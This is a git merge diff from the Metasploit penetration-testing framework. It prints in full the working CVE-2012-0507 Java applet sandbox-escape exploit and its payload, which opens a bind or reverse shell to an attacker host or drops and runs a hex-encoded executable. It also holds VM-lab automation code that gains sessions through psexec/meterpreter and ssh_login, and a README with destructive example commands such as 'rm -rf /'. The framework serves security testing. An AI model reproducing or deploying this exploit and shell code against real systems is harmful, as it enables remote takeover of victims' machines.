Merge branch 'master' into bap-refactor

Conflicts:
	external/source/exploits/CVE-2012-0507/Help.java
	external/source/exploits/CVE-2012-0507/Makefile
	external/source/exploits/CVE-2012-0507/msf/x/Help.java
	external/source/exploits/CVE-2012-0507/src/a/Exploit.java
	external/source/exploits/CVE-2012-0507/src/a/Help.java
This commit is contained in:
James Lee
2012-04-03 11:46:25 -06:00
50 changed files with 532 additions and 2923 deletions
Regular → Executable
BIN
View File
Binary file not shown.
+15 -9
View File
@@ -1,17 +1,23 @@
JAR = CVE-2012-0507.jar
JAR_FILE = CVE-2012-0507.jar
CLASSES = \
msf/x/Exploit.java \
msf/x/Help.java \
msf/x/PayloadX.java
all: ${JAR_FILE}
${JAR_FILE}: src/a/Exploit.java src/a/Help.java src/msf/x/PayloadX.java
javac -d bin -target 1.2 -source 1.2 src/a/*.java src/msf/x/*.java
(cd bin; jar cvf ../${JAR_FILE} `find . -name *.class`)
.SUFFIXES: .java .class
.java.class:
javac -d bin -source 1.2 -target 1.2 $*.java
install: all
mv ${JAR_FILE} ../../../../data/exploits/
all: $(CLASSES:.java=.class)
(cd bin; jar cvf ../$(JAR) *)
install:
mv $(JAR) ../../../../data/exploits/
clean:
rm -f ${JAR_FILE}
find bin -name '*.class' -print0 | xargs -0 rm -f
rm -f $(JAR)
rm -rf bin/*
@@ -1,191 +0,0 @@
package msf.x;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class PayloadX implements PrivilegedExceptionAction
{
// This will contain a hex string of the native payload to drop and execute.
public static String data = null;
public static String jar = null;
// If no native payload is set we get either a java bind shell or a java
// reverse shell.
public static String lhost = null;
public static int lport = 4444;
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( is ) );
out = new BufferedWriter( new OutputStreamWriter( os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
}
catch( Exception e ) {}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
}
catch( Exception e ) {}
}
}
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
public static byte[] StringToBytes( String s )
{
byte[] data = new byte[s.length() / 2];
for( int i = 0 ; i < s.length() ; i += 2 )
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
return data;
}
public Object run() throws Exception
{
//System.out.println("Running");
// if the native payload data has not been set just return for now, it
// will be set by the next time we reach here.
if( PayloadX.data == null && PayloadX.jar == null )
return null;
//System.out.println("have either data or jar");
try
{
String os = System.getProperty( "os.name" );
//System.out.println("OS: " + os);
// if we have no native payload to drop and execute we default to
// either a TCP bind or reverse shell.
if( PayloadX.data.length() == 0 && PayloadX.jar.length() == 0 )
{
//System.out.println("no, exe/jar. Doing shell");
Socket client_socket = null;
String shell = "/bin/sh";
if( os.indexOf( "Windows" ) >= 0 )
shell = "cmd.exe";
if( PayloadX.lhost == null )
{
ServerSocket server_socket = new ServerSocket( PayloadX.lport );
client_socket = server_socket.accept();
}
else
{
client_socket = new Socket( PayloadX.lhost, PayloadX.lport );
}
if( client_socket != null )
{
Process process = exec( shell );
if( process != null )
{
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
}
}
}
else if( PayloadX.jar != null && (PayloadX.jar.length() != 0) )
{
//System.out.println("Dropping JAR");
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".jar";
writeFile( path, StringToBytes( PayloadX.jar ) );
exec( "java -jar " + path + " " + PayloadX.lhost + " " + PayloadX.lport + " true");
}
else
{
//System.out.println("Dropping EXE");
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";
writeFile( path, StringToBytes( PayloadX.data ) );
if( os.indexOf( "Windows" ) < 0 )
{
exec( "chmod 755 " + path );
}
exec( path );
new File( path ).delete();
}
}
catch( Exception e ) {
//System.out.println(e);
}
return null;
}
public Process exec( String path )
{
Process p = null;
//System.out.println( "Executing" );
try {
p = Runtime.getRuntime().exec( path );
if( p == null )
{
//System.out.println( "Null process, crap" );
}
p.waitFor();
} catch( Exception e ) {
//System.out.println(e);
}
return p;
}
public void writeFile( String path, byte[] data )
{
//System.out.println( "Writing file" );
try {
FileOutputStream fos = new FileOutputStream( path );
fos.write( data );
fos.close();
} catch( Exception e ) {
//System.out.println(e);
}
}
public PayloadX()
{
try
{
AccessController.doPrivileged( this );
}
catch( Exception e ) {}
}
}
@@ -1,58 +0,0 @@
package a;
import java.applet.Applet;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.atomic.AtomicReferenceArray;
import a.*;
// Referenced classes of package a:
// Help
public class Exploit extends Applet
{
public Exploit()
{
}
public static byte[] StringToBytes(String s)
{
byte abyte0[] = new byte[s.length() / 2];
for(int i = 0; i < s.length(); i += 2)
abyte0[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
return abyte0;
}
public void init()
{
try
{
String as[] = {
"ACED0005757200135B4C6A6176612E6C616E672E4F62", "6A6563743B90CE589F1073296C020000787000000002", "757200095B4C612E48656C703BFE2C941188B6E5FF02", "000078700000000170737200306A6176612E7574696C", "2E636F6E63757272656E742E61746F6D69632E41746F", "6D69635265666572656E63654172726179A9D2DEA1BE", "65600C0200015B000561727261797400135B4C6A6176", "612F6C616E672F4F626A6563743B787071007E0003"
};
StringBuilder stringbuilder = new StringBuilder();
for(int i = 0; i < as.length; i++)
stringbuilder.append(as[i]);
ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));
Object aobj[] = (Object[])(Object[])objectinputstream.readObject();
Help ahelp[] = (Help[])(Help[])aobj[0];
AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];
ClassLoader classloader = getClass().getClassLoader();
atomicreferencearray.set(0, classloader);
Help _tmp = ahelp[0];
String data = getParameter( "data" );
String jar = getParameter( "jar" );
String lhost = getParameter( "lhost" );
String lport = getParameter( "lport" );
System.out.println("go go go");
Help.doWork(ahelp[0], this, data, jar, lhost, ( lport == null ? 4444 : Integer.parseInt( lport ) ));
}
catch(Exception exception) {
System.out.println(exception.getMessage());
}
}
}
-82
View File
@@ -1,82 +0,0 @@
package a;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.URL;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.lang.reflect.Field;
public class Help extends ClassLoader implements Serializable{
public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) {
String classNames[] = { "msf.x.PayloadX$StreamConnector", "msf.x.PayloadX" };
String classPaths[] = { "/msf/x/PayloadX$StreamConnector.class", "/msf/x/PayloadX.class" };
Class cls = null;
try
{
for( int index=0 ; index<classNames.length ; index++ )
{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
int length;
// read in the class file from the jar
InputStream is = expl.getClass().getResourceAsStream( classPaths[index] );
// and write it out to the byte array stream
while( ( length = is.read( buffer ) ) > 0 )
bos.write( buffer, 0, length );
// convert it to a simple byte array
buffer = bos.toByteArray();
URL url = new URL( "file:///" );
Certificate[] certs = new Certificate[0];
Permissions perm = new Permissions();
perm.add( new AllPermission() );
ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );
cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd );
Class class_cls = cls.getClass();
System.out.println("The type of the object is: " + class_cls.getName());
}
// cls will end up being the PayloadX class
if( cls != null )
{
// reflect into the PayloadX class to get these three fields
Field payload_data = cls.getField( "data" );
Field payload_jar = cls.getField( "jar" );
Field payload_lhost = cls.getField( "lhost" );
Field payload_lport = cls.getField( "lport" );
// instantiate the PayloadX object once so as we can set the native payload data
Object obj = cls.newInstance();
// set the native payload data, lhost and lport
payload_data.set( obj, data );
payload_jar.set( obj, jar );
payload_lhost.set( obj, lhost );
payload_lport.setInt( obj, lport );
// instantiate a second PayloadX object to perform the actual payload
obj = cls.newInstance();
}
}
catch( Exception e ) {
System.out.println(e.getMessage());
}
}
}
@@ -1,197 +0,0 @@
package msf.x;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class PayloadX implements PrivilegedExceptionAction
{
// This will contain a hex string of the native payload to drop and execute.
public static String data = null;
public static String jar = null;
// If no native payload is set we get either a java bind shell or a java
// reverse shell.
public static String lhost = null;
public static int lport = 4444;
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( is ) );
out = new BufferedWriter( new OutputStreamWriter( os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
}
catch( Exception e ) {}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
}
catch( Exception e ) {}
}
}
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
public static byte[] StringToBytes( String s )
{
byte[] data = new byte[s.length() / 2];
for( int i = 0 ; i < s.length() ; i += 2 )
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
return data;
}
public Object run() throws Exception
{
//System.out.println("Running");
//System.setSecurityManager(null);
//System.out.println("woot");
// if the native payload data has not been set just return for now, it
// will be set by the next time we reach here.
if( PayloadX.data == null && PayloadX.jar == null )
return null;
//System.out.println("have either data or jar");
try
{
String os = System.getProperty( "os.name" );
//System.out.println("OS: " + os);
// if we have no native payload to drop and execute we default to
// either a TCP bind or reverse shell.
if(
(PayloadX.data == null || PayloadX.data.length() == 0) &&
(PayloadX.jar == null || PayloadX.jar.length() == 0)
) {
//System.out.println("no, exe/jar. Doing shell");
Socket client_socket = null;
String shell = "/bin/sh";
if( os.indexOf( "Windows" ) >= 0 )
shell = "cmd.exe";
if( PayloadX.lhost == null )
{
ServerSocket server_socket = new ServerSocket( PayloadX.lport );
client_socket = server_socket.accept();
}
else
{
client_socket = new Socket( PayloadX.lhost, PayloadX.lport );
}
if( client_socket != null )
{
Process process = exec( shell );
if( process != null )
{
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
}
}
}
else if( PayloadX.jar != null && (PayloadX.jar.length() != 0) )
{
//System.out.println("Dropping JAR");
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".jar";
writeFile( path, StringToBytes( PayloadX.jar ) );
exec( "java -jar " + path + " " + PayloadX.lhost + " " + PayloadX.lport + " true");
}
else
{
//System.out.println("Dropping EXE");
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";
writeFile( path, StringToBytes( PayloadX.data ) );
if( os.indexOf( "Windows" ) < 0 )
{
exec( "chmod 755 " + path );
}
exec( path );
new File( path ).delete();
}
}
catch( Exception e ) {
//System.out.println("OMG Exception!!11!");
//System.out.println(e);
//e.printStackTrace();
}
return null;
}
public Process exec( String path )
{
Process p = null;
//System.out.println( "Executing" );
try {
p = Runtime.getRuntime().exec( path );
if( p == null )
{
//System.out.println( "Null process, crap" );
}
p.waitFor();
} catch( Exception e ) {
//System.out.println(e);
}
return p;
}
public void writeFile( String path, byte[] data )
{
//System.out.println( "Writing file" );
try {
FileOutputStream fos = new FileOutputStream( path );
fos.write( data );
fos.close();
} catch( Exception e ) {
//System.out.println(e);
}
}
public PayloadX()
{
try
{
AccessController.doPrivileged( this );
}
catch( Exception e ) {}
}
}
-87
View File
@@ -1,87 +0,0 @@
This folder contains the libraries necessary to run the lab plugin, and can also be used in a standalone way to automate virtual machines.
#########
CONCEPTS:
#########
The lab provides a clean interface to common vm functions such as start / stop / snapshot / revert and even running system commands or higher-level functions like opening a browser to a specified URL. It's designed so the different VM technologies have a similiar interface, and you can ignore the specifics of the VM tech. The majority of the functionality is implemented in the form of drivers and controllers. Drivers implement the underlying command for each vm software (such as start/stop/revert), and controllers implement the commands which apply to all vms (such as listing all running vms, or cloning a vm).
If you're interested in porting a vm software (see below), please take a look at the workstation_driver.rb and the workstation_controller.rb -- This is a simple driver / controller in the lab, and you can simply copy / modify this to implement a new driver & controller for the software.
##########################
SUPPORTED VM TECHNOLOGIES:
##########################
NOTE: The lab libraries have only been tested on linux, porting to windows is not planned at this time.
Implemented:
- workstation (Tested against 7.x)
- remote_workstation (Tested against 7.x)
- virtualbox (Tested against 4.x)
- remote_esx (VMware ESX Host Agent 4.1.0 build-348481)
Partially Implemented:
- amazon_ec2 (via fog gem)
- dynagen
Need Implementation:
- qemu
- qemudo
- others?
#################
PLATFORM SUPPORT:
#################
You will need to have this code running on a linux box, Currently this has only been run / tested on Ubuntu 9.04 -> 10.04, though it should run on any linux with an ssh client and the dependencies below. Remote VM Hosts will need to be linux as well, though other platforms may work (untested). If you're interested in porting it to windows, please contact me (jcran).
Platform Dependencies:
- whatever vm software is necessary for the driver you're using (see SUPPORTED VM TECHNOLOGIES above)
- net/scp - the gem (net-scp). Required to copy files to/from the devices in the case that tools are not installed. Not necessary if tools are installed.
- fog - require to use the amazon_ec2 driver
######################
MSFCONSOLE LAB PLUGIN:
######################
BACKGROUND:
The lab plugin for msfconsole adds a number of commands which may be useful if you're interested in automating remote hosts with rc scripts, or if you need to control targets / support systems while utilizing the metasploit console. A potential use case is testing an IPS / IDS, and resetting the target after running each exploit.
USAGE:
Here's some example usage for the lab plugin.
msf> load lab // Loads the lab plugin
msf> lab_load <path_to_lab_file> // Loads from a lab configuration file. See data/lab/test_targets.yml for an example
msf> lab_load_dir workstation /path/to/vmx/files // Loads from a local directory.
msf> lab_load_running remote_esx root esx_server // Loads all running vms.
msf> lab_start vm1 // Start a vm which was loaded above
msf> lab_snapshot vm1 snapshot_1 // Snapshot a vm as 'snapshot_1'
msf> lab_run_command ("rm -rf /") // oops!
msf> lab_show // Show all vms that we're aware of
msf> lab_show_running // Show only running vms
msf> lab_start vm2 // Start another vm
msf> lab_suspend vm1 // Suspend a vm
msf> lab_revert all snapshot_1 // Revert all vms back to 'snapshot_1'
###############
STANDALONE API:
###############
BACKGROUND:
The lab libraries add tons of useful functionality that isn't exposed through the lab plugin, such as the ability to run commands on hosts. This library can serve as an excellent base for more complex operations on a remote host as well.
USAGE:
You must first create a yaml file which describes your vm. See data/lab/test_targets.yml for an example.
require 'vm_controller'
vm_controller = ::Lab::Controllers::VmController.new(YAML.load_file(lab_def))
vm_controller['vm1'].start
vm_controller['vm1'].snapshot("clean")
vm_controller['vm1'].run_command("rm /etc/resolv.conf")
vm_controller['vm1'].open_uri("http://autopwn:8080")
vm_controller['vm1'].revert("clean")
vm_controller['vm1'].revert("clean")
-15
View File
@@ -1,15 +0,0 @@
This is a list of basic priorities for the lab code...
* Implement more technologies
a) finish amazon ec2 (via fog)
b) qemu
c) qemudo
d) kvm
e) other cloud technologies (newservers, slicehost/rackspace,etc)
* Implement a cloning function on each controller
* Support Windows as a host platform. Currently all the code assumes a linux host is running it. The same applies for the remote_* drivers -- they've not been tested on windows.
* Consolidate the remote_system_command code & provide a filter. Create an unsafe_system_command and unsafe_remote_system_command function call for when we control the entire string.
-14
View File
@@ -1,14 +0,0 @@
module Lab
module Controllers
module DynagenController
def self.running_list
raise "Unsupported"
end
def self.dir_list(basepath=nil)
raise "Unsupported"
end
end
end
end
-6
View File
@@ -1,6 +0,0 @@
module Lab
module Controllers
module FogController
end
end
end
@@ -1,62 +0,0 @@
# This controller was built against:
# VMware ESX Host Agent 4.1.0 build-348481
module Lab
module Controllers
module RemoteEsxController
# Note that 3.5 was different (vmware-vim-cmd)
VIM_CMD = 'vim-cmd'.freeze
def self.dir_list(basepath=nil)
# Does this method really even make sense for esx?
return "Unsupported :("
end
def self.running_list(user, host)
user.gsub!(/(\W)*/, '')
host.gsub!(/(\W)*/, '')
# first get all registered vms
registered_vms = self.get_vms(user, host) || []
running_vms = []
# now let's see which ones are running
# TODO: this is ghetto, would be better not to connect repeatedly
registered_vms.each do |vm|
remote_cmd = "ssh #{user}@#{host} \"#{VIM_CMD} vmsvc/power.getstate #{vm[:id]}\""
raw = `#{remote_cmd}`
running_vms << vm if raw =~ /Powered on/
end
return running_vms
end
private
def self.get_vms(user, host)
user.gsub!(/(\W)*/, '')
host.gsub!(/(\W)*/, '')
vms = [] # array of VM hashes
remote_cmd = "ssh #{user}@#{host} \"#{VIM_CMD} vmsvc/getallvms | grep ^[0-9] | sed 's/[[:blank:]]\\{3,\\}/ /g'\""
raw = `#{remote_cmd}`.split("\n")
raw.each do |line|
# So effing ghetto
id_and_name = line.split('[datastore').first
id = id_and_name.split(' ').first
## TODO - there's surely a better way to do this.
name_array = id_and_name.split(' ')
name_array.shift
name = name_array.join(' ')
vms << {:id => id, :name => name}
end
return vms
end
end
end
end
@@ -1,22 +0,0 @@
module Lab
module Controllers
module RemoteWorkstationController
def self.running_list(user, host)
user.gsub!(/(\W)*/, '')
host.gsub!(/(\W)*/, '')
remote_cmd = "ssh #{user}@#{host} \"vmrun list nogui\""
vm_list = `#{remote_cmd}`.split("\n")
vm_list.shift
return vm_list
end
def self.dir_list(basepath=nil)
vm_list = Find.find(basepath).select { |f| f =~ /\.vmx$/ }
return vm_list
end
end
end
end
@@ -1,25 +0,0 @@
module Lab
module Controllers
module VirtualBoxController
def self.running_list
vm_names_and_uuids = `VBoxManage list runningvms`
return vm_names_and_uuids.scan(/\"(.*)\" {.*}/).flatten
end
def self.config_list
vm_names_and_uuids = `VBoxManage list vms`
return vm_names_and_uuids.scan(/\"(.*)\" {.*}/).flatten
end
def self.config_list_uuid
vm_names_and_uuids = `VBoxManage list vms`
return vm_names_and_uuids.scan(/\".*\" {(.*)}/).flatten
end
def self.dir_list(basepath=nil)
vm_list = Find.find(basepath).select { |f| f =~ /\.xml$/ }
end
end
end
end
@@ -1,17 +0,0 @@
module Lab
module Controllers
module WorkstationController
def self.running_list
vm_list = `vmrun list`.split("\n")
vm_list.shift
return vm_list
end
def self.dir_list(basepath=nil)
vm_list = Find.find(basepath).select { |f| f =~ /\.vmx$/ }
return vm_list
end
end
end
end
@@ -1,19 +0,0 @@
module Lab
module Controllers
module WorkstationVixrController
def self.running_list
vm_list = `vmrun list`.split("\n")
vm_list.shift
return vm_list
end
def self.dir_list(basepath=nil)
vm_list = Find.find(basepath).select { |f| f =~ /\.vmx$/ }
return vm_list
end
end
end
end
-10
View File
@@ -1,10 +0,0 @@
require 'controller/workstation_controller'
require 'controller/virtualbox_controller'
require 'controller/fog_controller'
require 'controller/dynagen_controller'
require 'controller/remote_workstation_controller'
require 'controller/remote_esx_controller'
#require 'controller/qemu_controller'
#require 'controller/qemudo_controller'
-47
View File
@@ -1,47 +0,0 @@
require 'vm_driver'
#
# $Id$
#
#
# To use this driver, you have to have a lab which is preconfigured. The best / easiest
# way i've found to to set up a lab is GNS3
#
module Lab
module Drivers
class DynagenDriver < VmDriver
def initialize(config,dynagen_config)
super(config)
@running = false
@dynagen_platform = filter_command(dynagen_config['dynagen_platform'])
end
def start
# TODO - write the location-file to a temp-file
# and set the autostart property
## start background dynamips process
system_command("dynamips -H #{@dynagen_platform} &")
system_command("dynagen #{@location}")
@running = true
end
def stop
system_command("killall dynagen")
@running = false
end
def cleanup
`killall dynagen`
`killall dynamips`
@running = false
end
def running?
return @running
end
end
end
end
-164
View File
@@ -1,164 +0,0 @@
require 'vm_driver'
##
## $Id$
##
module Lab
module Drivers
class FogDriver < VmDriver
def initialize(config,fog_config)
super(config)
@fog_config = fog_config
# Soft dependency
begin
require 'fog'
rescue LoadError
raise "WARNING: Library fog not found. Could Not Create Driver"
end
if @fog_config['fog_type'] == "ec2"
# AWS / EC2 Base Credential Configuration
@aws_cert_file = IO.read(fog_config['fog_aws_cert_file']).chomp if fog_config['fog_aws_cert_file']
@aws_private_key_file = IO.read(fog_config['fog_aws_private_key_file']).chomp if fog_config['fog_aws_private_key_file']
@ec2_access_key_file = IO.read(fog_config['fog_ec2_access_key_file']).chomp if fog_config['fog_ec2_access_key_file']
@ec2_secret_access_key_file = IO.read(fog_config['fog_ec2_secret_access_key_file']).chomp if fog_config['fog_ec2_secret_access_key_file']
# Instance Keys
@ec2_instance_public_key_file = IO.read(fog_config['fog_ec2_instance_public_key_file']).chomp if fog_config['fog_ec2_instance_public_key_file']
@ec2_instance_private_key_file = IO.read(fog_config['fog_ec2_instance_private_key_file']).chomp if fog_config['fog_ec2_instance_private_key_file']
# Instance Details
@ec2_base_ami = fog_config['fog_ec2_base_ami']
@ec2_flavor = fog_config['fog_ec2_flavor']
@ec2_user = fog_config['fog_ec2_user']
@ec2_region = fog_config['fog_ec2_region']
# Set up a connection
@compute = Fog::Compute.new(
:provider => "Aws",
:aws_access_key_id => @aws_access_key_file,
:aws_secret_access_key => @aws_secret_access_key_file )
else
raise "Unsupported Fog Type"
end
end
def start
ec2_settings = {
:image_id => @ec2_base_ami,
:flavor_id => @ec2_flavor,
:public_key_path => @ec2_instance_public_key_file,
:private_key_path => @ec2_instance_private_key_file,
:username => @ec2_user}
begin
@fog_server = @compute.servers.bootstrap(ec2_settings)
rescue Fog::Compute::AWS::Error => e
raise "Couldn't authenticate to AWS - did you place keys in the creds/ directory?"
exit
end
end
def stop
@fog_server.destroy
end
def suspend
raise "unimplemented"
end
def pause
raise "unimplemented"
end
def reset
raise "unimplemented"
end
def create_snapshot(snapshot)
raise "unimplemented"
end
def revert_snapshot(snapshot)
raise "unimplemented"
end
def delete_snapshot(snapshot)
raise "unimplemented"
end
=begin
def run_command(command)
## vm_driver will need a little patching for this to work, as
## amis use keys for auth. i think it's just a matter of not passing the
## password to ssh_exec. So maybe the thing to do is have a ssh_key_exec
## function in vm_driver.rb that does the right thing.
script_rand_name = rand(10000)
if @os == "windows"
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.bat"
remote_tempfile_path = "C:\\\\lab_script_#{script_rand_name}.bat"
remote_run_command = remote_tempfile_path
else
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
remote_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
remote_run_command = "/bin/sh #{remote_tempfile_path}"
end
# write out our script locally
File.open(local_tempfile_path, 'w') {|f| f.write(command) }
# since we can't copy easily w/o tools, let's just run it directly :/
if @os == "linux"
output_file = "/tmp/lab_command_output_#{rand(1000000)}"
scp_to(local_tempfile_path, remote_tempfile_path)
ssh_exec(remote_run_command + "> #{output_file}")
scp_from(output_file, output_file)
ssh_exec("rm #{output_file}")
ssh_exec("rm #{remote_tempfile_path}")
# Ghettohack!
string = File.open(output_file,"r").read
`rm #{output_file}`
else
raise "zomgwtfbbqnotools"
end
end
def copy_from_guest(from, to)
raise "unimplemented"
end
def copy_to_guest(from, to)
raise "unimplemented"
end
def check_file_exists(file)
raise "unimplemented"
end
def create_directory(directory)
raise "unimplemented"
end
=end
def cleanup
@fog_server.destroy
end
def running?
return true #TODO
end
end
end
end
-278
View File
@@ -1,278 +0,0 @@
require 'vm_driver'
##
## $Id$
##
# This driver was built against:
# VMware ESX Host Agent 4.1.0 build-348481
module Lab
module Drivers
class RemoteEsxDriver < VmDriver
def initialize(config)
unless config['user'] then raise ArgumentError, "Must provide a username" end
unless config['host'] then raise ArgumentError, "Must provide a hostname" end
super(config)
@user = filter_command(config['user'])
@host = filter_command(config['host'])
@port = config['port']
end
def start
remote_system_command("vim-cmd vmsvc/power.on #{@vmid}")
end
def stop
remote_system_command("vim-cmd vmsvc/power.off #{@vmid}")
end
def suspend
remote_system_command("vim-cmd vmsvc/power.suspend #{@vmid}")
end
def pause
remote_system_command("vim-cmd vmsvc/power.suspend #{@vmid}")
end
def resume
remote_system_command("vim-cmd vmsvc/power.suspendResume #{@vmid}")
end
def reset
remote_system_command("vim-cmd vmsvc/power.reset #{@vmid}")
end
def create_snapshot(snapshot)
snapshot = filter_input(snapshot)
remote_system_command("vim-cmd vmsvc/snapshot.create #{@vmid} #{snapshot} \'lab created snapshot\' 1 true")
end
def revert_snapshot(snapshot)
snapshots = get_snapshots
# Look through our snapshot list, choose the right one based on display_name
snapshots.each do |snapshot_obj|
#puts "DEBUG: checking #{snapshot_obj}"
if snapshot_obj[:display_name].downcase == snapshot.downcase
snapshot_identifier = snapshot_obj[:name].join(" ")
#puts "DEBUG: I would revert to #{snapshot_obj}"
remote_system_command("vim-cmd vmsvc/snapshot.revert #{@vmid} 0 #{snapshot_identifier}")
return true
end
end
# If we got here, the snapshot didn't exist
raise "Invalid Snapshot Name"
end
def delete_snapshot(snapshot, remove_children=false)
snapshots = get_snapshots
# Look through our snapshot list, choose the right one based on display_name
snapshots.each do |snapshot_obj|
#puts "DEBUG: checking #{snapshot_obj}"
if snapshot_obj[:display_name].downcase == snapshot.downcase
snapshot_identifier = snapshot_obj[:name].join(" ")
remote_system_command("vim-cmd vmsvc/snapshot.remove #{@vmid} #{remove_children} #{snapshot_identifier}")
return true
end
end
# If we got here, the snapshot didn't exist
raise "Invalid Snapshot Name"
end
def delete_all_snapshots
remote_system_command("vim-cmd vmsvc/snapshot.removeall #{@vmid}")
end
def check_file_exists(file)
raise "Not Implemented"
end
def create_directory(directory)
raise "Not Implemented"
end
def run_command(command, timeout=60)
setup_session
#puts "Using session #{@session}"
# TODO: pass the timeout down
if @session
if @session.type == "shell"
#puts "Running command via shell: #{command}"
@session.shell_command_token(command, timeout)
elsif @session.type == "meterpreter"
#puts "Running command via meterpreter: #{command}"
@session.shell_command(command)
end
else
raise "No session"
end
end
def copy_to_guest(local,remote)
setup_session
if @session.type == "meterpreter"
@session.run_cmd("upload #{local} #{remote}")
else
@driver.copy_to(local,remote)
end
end
def copy_from_guest(local, remote)
setup_session
if @session.type == "meterpreter"
@session.run_cmd("download #{local} #{remote}")
else
@driver.copy_from(local,remote)
end
end
def cleanup
end
def running?
power_status_string = `ssh #{@user}@#{@host} \"vim-cmd vmsvc/power.getstate #{@vmid}\"`
return true if power_status_string =~ /Powered on/
end
private
def create_framework
return if @framework
@framework = Msf::Simple::Framework.create
end
# perform the setup only once
def setup_session
return if @session
# require the framework (assumes this sits in lib/lab/modifiers)
require 'msf/base'
create_framework # TODO - this should use a single framework for all hosts, not one-per-host
@session = nil
@session_input = Rex::Ui::Text::Input::Buffer.new
@session_output = Rex::Ui::Text::Output::Buffer.new
if @os == "windows"
exploit_name = 'windows/smb/psexec'
# TODO - check for x86, choose the appropriate payload
payload_name = 'windows/meterpreter/bind_tcp'
options = {
"RHOST" => @hostname,
"SMBUser" => @vm_user,
"SMBPass" => @vm_pass}
#puts "DEBUG: using options #{options}"
# Initialize the exploit instance
exploit = @framework.exploits.create(exploit_name)
begin
# Fire it off.
@session = exploit.exploit_simple(
'Payload' => payload_name,
'Options' => options,
'LocalInput' => @session_input,
'LocalOutput' => @session_output)
@session.load_stdapi
#puts "DEBUG: Generated session: #{@session}"
rescue Exception => e
#puts "DEBUG: Unable to exploit"
#puts e.to_s
end
else
module_name = 'scanner/ssh/ssh_login'
# TODO - check for x86, choose the appropriate payload
payload_name = 'linux/x86/shell_bind_tcp'
options = { "RHOSTS" => @hostname,
"USERNAME" => @vm_user,
"PASSWORD" => @vm_pass,
"BLANK_PASSWORDS" => false,
"USER_AS_PASS" => false,
"VERBOSE" => false}
# Initialize the module instance
aux = @framework.auxiliary.create(module_name)
#puts "DEBUG: created module: #{aux}"
begin
# Fire it off.
aux.run_simple(
'Payload' => payload_name,
'Options' => options,
'LocalInput' => @session_input,
'LocalOutput' => @session_output)
@session = @framework.sessions.first.last
rescue Exception => e
#puts "DEBUG: Unable to exploit"
#puts e.to_s
end
end
end
def get_snapshots
# Command take the format:
# vmware-vim-cmd vmsvc/snapshot.revert [vmid: int] [snapshotlevel: int] [snapshotindex: int]
output = `ssh #{@user}@#{@host} \"vim-cmd vmsvc/snapshot.get #{@vmid}\"`
# this keeps track of the snapshots, takes the form:
#[ {:name => [0,0], :display_name => "String containing the snapshotname},
# {:name => [0,1], :display_name => "String containing the snapshotname}, ]
# ...
snapshots = []
# Use these to keep track of the parsing...
current_tree = -1
current_num = 0
count = 0
# Do the parsing & stick the snapshots in the snapshots array
output_lines = output.split("\n")
output_lines.each do |line|
if line.include?("|") # this is a new snapshot
if line.include?("ROOT") # it's a root
current_num = 0
current_tree = current_tree + 1 # new tree
snapshots << { :name => [current_num, current_tree], :display_name => output_lines[count+1].split(":").last.strip }
else
current_num = current_num + 1 # new snapshot in current tree
snapshots << { :name => [current_num, current_tree], :display_name => output_lines[count+1].split(":").last.strip }
end
end
count = count+1
end
